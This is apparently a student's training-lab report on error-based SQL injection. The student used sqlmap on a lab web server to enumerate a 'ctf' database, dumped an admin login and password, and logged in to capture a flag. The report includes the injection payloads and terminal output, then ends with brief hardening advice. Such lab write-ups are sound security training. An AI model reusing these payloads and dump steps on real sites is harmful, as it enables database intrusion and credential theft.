

Error Based SQLi Report - 17.6.2 - 17

Tester's name: Stanley Ford

Lab 17.6.2 "Error Based SQLi":

- General information:
 - Testing period: 15.02.2023
 - Test object: <http://51.250.73.193:5009/>
- Description of actions: Checking the page code did not bring anything. The task looks similar to the previous task, so I will do everything the same as there.

I'll scan the site for some databases:

Two databases were found: CTF and information_schema. I'll take a look at CTF, because it literally sounds like what I look for. What tables are there

```
kali@kali: ~
File Actions Edit View Help
Payload: login=jEft' AND GTID_SUBSET(CONCAT(0x71786a6b71,(SELECT (ELT(6141=6141,1))),0x71627a7871),6141)-- UuRT6password=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: login=jEft' AND (SELECT 6384 FROM (SELECT(SLEEP(5))))gwTO)-- EeiR6password=

do you want to exploit this SQL injection? [Y/n] y
[23:17:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[23:17:27] [INFO] fetching tables for database: 'ctf'
[23:17:27] [INFO] retrieved: 'users'
Database: ctf
[1 table]
+-----+
| users |
+-----+

[23:17:27] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-02142023_117pm.csv'

[*] ending @ 23:17:27 /2023-02-14/

(kali@kali)~$
```

:There is only one users table. Let's go further, to the columns:

```
kali@kali: ~
File Actions Edit View Help
back-end DBMS: MySQL >= 5.6
[23:18:14] [INFO] fetching columns for table 'users' in database 'ctf'
[23:18:15] [INFO] retrieved: 'id'
[23:18:15] [INFO] retrieved: 'int(11)'
[23:18:15] [INFO] retrieved: 'login'
[23:18:15] [INFO] retrieved: 'varchar(255)'
[23:18:16] [INFO] retrieved: 'password'
[23:18:16] [INFO] retrieved: 'varchar(255)'
Database: ctf
Table: users
[3 columns]
+-----+-----+
| Column | Type |
+-----+-----+
| id      | int(11) |
| login   | varchar(255) |
| password | varchar(255) |
+-----+-----+

[23:18:16] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-02142023_118pm.csv'

[*] ending @ 23:18:16 /2023-02-14/

(kali@kali)~$
```

In total, there are three columns with ID, login and password. I'll dump the users

```
kali@kali: ~  
File Actions Edit View Help  
[23:19:17] [INFO] resumed: 'int(11)'  
[23:19:17] [INFO] resumed: 'login'  
[23:19:17] [INFO] resumed: 'varchar(255)'  
[23:19:17] [INFO] resumed: 'password'  
[23:19:17] [INFO] resumed: 'varchar(255)'  
[23:19:17] [INFO] fetching entries for table 'users' in database 'ctf'  
[23:19:17] [INFO] retrieved: '1'  
[23:19:17] [INFO] retrieved: 'admin'  
[23:19:18] [INFO] retrieved: 'sicritadminpass'  
Database: ctf  
Table: users  
[1 entry]  
+-----+-----+-----+  
| id | login | password |  
+-----+-----+-----+  
| 1 | admin | sicritadminpass |  
+-----+-----+-----+  
[23:19:18] [INFO] table 'ctf.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/51.250.73.193/dump/ctf/users.csv'  
[23:19:18] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-02142023_119pm.csv'  
[*] ending @ 23:19:18 /2023-02-14/  
  
(kali@kali)-[~]  
$
```

:And then I'll try to log in with this data (sicrit???):When logging in, I was taken to a page with the flag: flag{d0nt_sh0w_y0ur_3rr0r5}

Lab done!

Self-Assessment Questions:

- List the tools (programs and utilities) you used to solve this lab:Web browser (Google Chrome); SQLmap
- Error Based SQL Injection
- Give advice on how to improve security:

Check forms for the ability to enter special characters such as quotation marks, equal signs, and various parentheses. This should not be the case.

The introduction of two-factor authentication is also a way out.